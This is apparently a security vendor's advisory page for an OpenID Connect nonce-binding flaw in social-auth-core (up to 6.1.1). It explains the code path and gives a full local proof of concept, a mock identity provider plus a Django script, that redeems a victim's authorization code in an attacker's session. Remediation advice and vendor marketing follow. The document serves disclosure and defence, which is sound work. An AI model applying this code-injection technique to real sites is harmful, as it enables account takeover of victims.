CVE-2026-115910

CVE-2026-115910 is a medium-severity security vulnerability in social-auth-core (pip), affecting versions <= 6.1.1. It is fixed in 6.2.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Python Social Auth: OpenID Connect nonce is not bound to the browser session, so a stolen authorization code logs the attacker in as the victim

The generic OpenID Connect backend (OpenIdConnectAuth and every backend built on it) stores the nonce in the shared Association table, not in the user's session. When the ID token comes back, validate_claims only checks that the nonce exists in that table and is not expired. It does not check that the nonce was issued to the browser that is finishing the login.

So the nonce does not do its job. OIDC Core (section 15.5.2) and RFC 9700 (section 4.5) use the nonce to stop authorization code injection: an attacker who gets hold of a victim's unused authorization code should not be able to redeem it in the attacker's own browser. With social-auth-core, the attacker can. They start their own login to get a valid state for their session, then hit the callback with the victim's code and their own state. state passes because it belongs to the attacker's session, and the nonce in the victim's ID token passes because it is in the global table. The attacker's browser is now logged in as the victim.

PKCE would block this, but OpenIdConnectAuth sets DEFAULT_USE_PKCE = False (the OAuth2 base class defaults to True), so the nonce is the only binding in the default setup.

Tested versions

social-auth-core 6.1.1 (latest), 6.1.0 and 5.2.0, with social-auth-app-django 7.1.0 and Django 6.1.2, Python 3.14. The same code is on master (098ef399c1).

Details

social_core/backends/open_id_connect.py in 6.1.1:

  • line 252: auth_params calls get_and_store_nonce(self.authorization_url(), state)
  • lines 333 to 346: get_and_store_nonce stores the nonce as an OpenIdConnectAssociation keyed by server_url and handle=nonce. The state goes into assoc_type but is never read back.
  • lines 348 to 358: get_nonce looks the nonce up by server_url and handle only
  • lines 393 to 415: validate_claims accepts any stored, unexpired nonce and removes it
  • line 110: DEFAULT_USE_PKCE = False

PoC

Everything runs locally. mockidp.py is a small OpenID provider on 127.0.0.1 that checks redirect_uri and enforces PKCE when a code_challenge was sent, like a normal provider. social_nonce.py uses two Django test clients as two browsers.

pip install social-auth-core social-auth-app-django django pyjwt cryptography
python social_nonce.py

Output on 6.1.1:

[inject] attacker session completes with victim code: (200, 'user=victim')

Controls:

MODE=control_victim python social_nonce.py
[control] victim completes normally: (200, 'user=victim')

MODE=control_unknown_nonce python social_nonce.py
[control] unknown nonce: ('EXC', 'AuthResponseError: The authentication response could not be matched to the request.')

PKCE=1 python social_nonce.py
[inject] attacker session completes with victim code: ('EXC', 'AuthCredentialError: The authorization code was rejected. Please restart login.')

So the nonce check runs, but it accepts a nonce that belongs to another browser. With PKCE on, the same attack fails.

mockidp.py:

"""Minimal local OpenID Provider on 127.0.0.1 for testing RP libraries."""
import json, time, secrets, threading, hashlib, base64, urllib.parse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa

def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

class IdP:
    def __init__(self, port=0, client_id="rp-client", client_secret="rp-secret", name="idp"):
        self.key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        self.kid = name + "-k1"
        self.client_id, self.client_secret = client_id, client_secret
        self.codes = {}
        self.access = {}
        self.claims_override = {}
        self.srv = ThreadingHTTPServer(("127.0.0.1", port), self._handler())
        self.port = self.srv.server_address[1]
        self.issuer = f"http://127.0.0.1:{self.port}"
        threading.Thread(target=self.srv.serve_forever, daemon=True).start()

    def jwk(self):
        n = self.key.public_key().public_numbers()
        tb = lambda i: i.to_bytes((i.bit_length() + 7) // 8, "big")
        return {"kty": "RSA", "kid": self.kid, "use": "sig", "alg": "RS256", "n": b64u(tb(n.n)), "e": b64u(tb(n.e))}

    def discovery(self):
        i = self.issuer
        return {"issuer": i, "authorization_endpoint": i + "/authorize", "token_endpoint": i + "/token",
                "userinfo_endpoint": i + "/userinfo", "jwks_uri": i + "/jwks",
                "response_types_supported": ["code"], "subject_types_supported": ["public"],
                "id_token_signing_alg_values_supported": ["RS256"],
                "token_endpoint_auth_methods_supported": ["client_secret_basic", "client_secret_post"],
                "code_challenge_methods_supported": ["S256"]}

    def user_authorizes(self, authorize_url, sub):
        """The end user `sub` approves an authorization request; returns (code, params)."""
        q = dict(urllib.parse.parse_qsl(urllib.parse.urlsplit(authorize_url).query))
        code = "code-" + secrets.token_hex(8)
        self.codes[code] = {"sub": sub, "nonce": q.get("nonce"), "redirect_uri": q.get("redirect_uri"),
                            "code_challenge": q.get("code_challenge")}
        return code, q

    def sign(self, claims):
        return jwt.encode(claims, self.key, algorithm="RS256", headers={"kid": self.kid})

    def _handler(idp):
        class H(BaseHTTPRequestHandler):
            def log_message(self, *a): pass
            def _json(self, obj, code=200):
                b = json.dumps(obj).encode()
                self.send_response(code); self.send_header("Content-Type", "application/json")
                self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b)
            def do_GET(self):
                p = urllib.parse.urlsplit(self.path).path
                if p.endswith("/.well-known/openid-configuration"): return self._json(idp.discovery())
                if p == "/jwks": return self._json({"keys": [idp.jwk()]})
                if p == "/userinfo":
                    tok = (self.headers.get("Authorization") or "").split(" ")[-1]
                    sub = idp.access.get(tok)
                    if not sub: return self._json({"error": "invalid_token"}, 401)
                    return self._json({"sub": sub, "email": sub + "@example.test", "preferred_username": sub})
                return self._json({"error": "not_found"}, 404)
            def do_POST(self):
                n = int(self.headers.get("Content-Length") or 0)
                body = dict(urllib.parse.parse_qsl(self.rfile.read(n).decode()))
                p = urllib.parse.urlsplit(self.path).path
                if p == "/token":
                    rec = idp.codes.pop(body.get("code"), None)
                    if not rec: return self._json({"error": "invalid_grant"}, 400)
                    if rec["redirect_uri"] and body.get("redirect_uri") != rec["redirect_uri"]:
                        return self._json({"error": "invalid_grant"}, 400)
                    if rec["code_challenge"]:
                        v = body.get("code_verifier") or ""
                        if b64u(hashlib.sha256(v.encode()).digest()) != rec["code_challenge"]:
                            return self._json({"error": "invalid_grant"}, 400)
                    at = "at-" + secrets.token_hex(8)
                    idp.access[at] = rec["sub"]
                    now = int(time.time())
                    claims = {"iss": idp.issuer, "sub": rec["sub"], "aud": idp.client_id, "iat": now, "exp": now + 300,
                              "at_hash": b64u(hashlib.sha256(at.encode()).digest()[:16])}
                    if rec["nonce"]: claims["nonce"] = rec["nonce"]
                    claims.update(idp.claims_override)
                    return self._json({"access_token": at, "token_type": "Bearer", "expires_in": 300,
                                       "id_token": idp.sign(claims)})
                return self._json({"error": "not_found"}, 404)
        return H

social_nonce.py:

import os, sys
sys.path.insert(0, os.path.dirname(__file__))
from mockidp import IdP
idp = IdP()
import django
from django.conf import settings
PKCE = os.environ.get("PKCE") == "1"
settings.configure(
    DEBUG=True, SECRET_KEY="x", ALLOWED_HOSTS=["*"], ROOT_URLCONF=__name__,
    INSTALLED_APPS=["django.contrib.auth", "django.contrib.contenttypes", "django.contrib.sessions", "social_django"],
    MIDDLEWARE=["django.contrib.sessions.middleware.SessionMiddleware", "django.contrib.auth.middleware.AuthenticationMiddleware"],
    DATABASES={"default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}},
    AUTHENTICATION_BACKENDS=["social_core.backends.open_id_connect.OpenIdConnectAuth"],
    SOCIAL_AUTH_OIDC_OIDC_ENDPOINT=idp.issuer, SOCIAL_AUTH_OIDC_KEY=idp.client_id, SOCIAL_AUTH_OIDC_SECRET=idp.client_secret,
    SOCIAL_AUTH_OIDC_USE_PKCE=PKCE, SOCIAL_AUTH_LOGIN_REDIRECT_URL="/done/", SOCIAL_AUTH_RAISE_EXCEPTIONS=True,
)
django.setup()
from django.urls import include, path
from django.http import HttpResponse
urlpatterns = [path("", include("social_django.urls", namespace="social")),
               path("done/", lambda r: HttpResponse("user=%s" % r.user.username))]
from django.core.management import call_command
call_command("migrate", verbosity=0)
from django.test import Client

def begin(c):
    r = c.post("/login/oidc/"); assert r.status_code == 302, r.status_code
    return r["Location"]

def complete(c, code, state):
    try:
        r = c.get("/complete/oidc/", {"code": code, "state": state})
        if r.status_code == 302:
            r = c.get(r["Location"])
        return r.status_code, r.content.decode()
    except Exception as e:
        return "EXC", f"{type(e).__name__}: {e}"

victim, attacker = Client(), Client()
# Victim starts a login. The provider issues a code for "victim" tied to the victim's nonce.
v_url = begin(victim)
code_v, qv = idp.user_authorizes(v_url, "victim")
# Attacker starts a login in their own browser to get a valid state for their session.
a_url = begin(attacker)
_, qa = idp.user_authorizes(a_url, "attacker")
mode = os.environ.get("MODE", "inject")
if mode == "inject":
    print("[inject] attacker session completes with victim code:", complete(attacker, code_v, qa["state"]))
elif mode == "control_unknown_nonce":
    idp.claims_override = {"nonce": "never-issued-nonce"}
    print("[control] unknown nonce:", complete(attacker, code_v, qa["state"]))
elif mode == "control_victim":
    print("[control] victim completes normally:", complete(victim, code_v, qv["state"]))

Impact

An attacker who gets a victim's authorization code before it is used can log in to the relying party as the victim. Codes leak in practice through the callback URL: Referer headers, proxy or server logs, browser history and sync, a malicious browser extension, or an open redirect on the callback. This is the exact case the OIDC nonce is meant to cover. The attacker does not need the client secret, because the relying party itself redeems the code.

It affects every app that uses OpenIdConnectAuth or a backend built on it with the default settings (PKCE off).

CVE-2026-115910 has a CVSS score of 6.8 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.2.0); upgrading removes the vulnerable code path.

Affected versions

social-auth-core (<= 6.1.1)

Security releases

social-auth-core → 6.2.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Bind the nonce to the session that started the login. For example, keep the nonce (or a hash of it) in the session next to state in auth_params, and in validate_claims compare the ID token nonce with the session value before removing it. Turning PKCE on by default for the OIDC backend would also close this, and matches the OAuth2 base class.

Frequently Asked Questions

  1. What is CVE-2026-115910? CVE-2026-115910 is a medium-severity security vulnerability in social-auth-core (pip), affecting versions <= 6.1.1. It is fixed in 6.2.0.
  2. How severe is CVE-2026-115910? CVE-2026-115910 has a CVSS score of 6.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of social-auth-core are affected by CVE-2026-115910? social-auth-core (pip) versions <= 6.1.1 is affected.
  4. Is there a fix for CVE-2026-115910? Yes. CVE-2026-115910 is fixed in 6.2.0. Upgrade to this version or later.
  5. Is CVE-2026-115910 exploitable, and should I be worried? Whether CVE-2026-115910 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-115910 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-115910? Upgrade social-auth-core to 6.2.0 or later.

Other vulnerabilities in social-auth-core

Stop the waste.
Protect your environment with Kodem.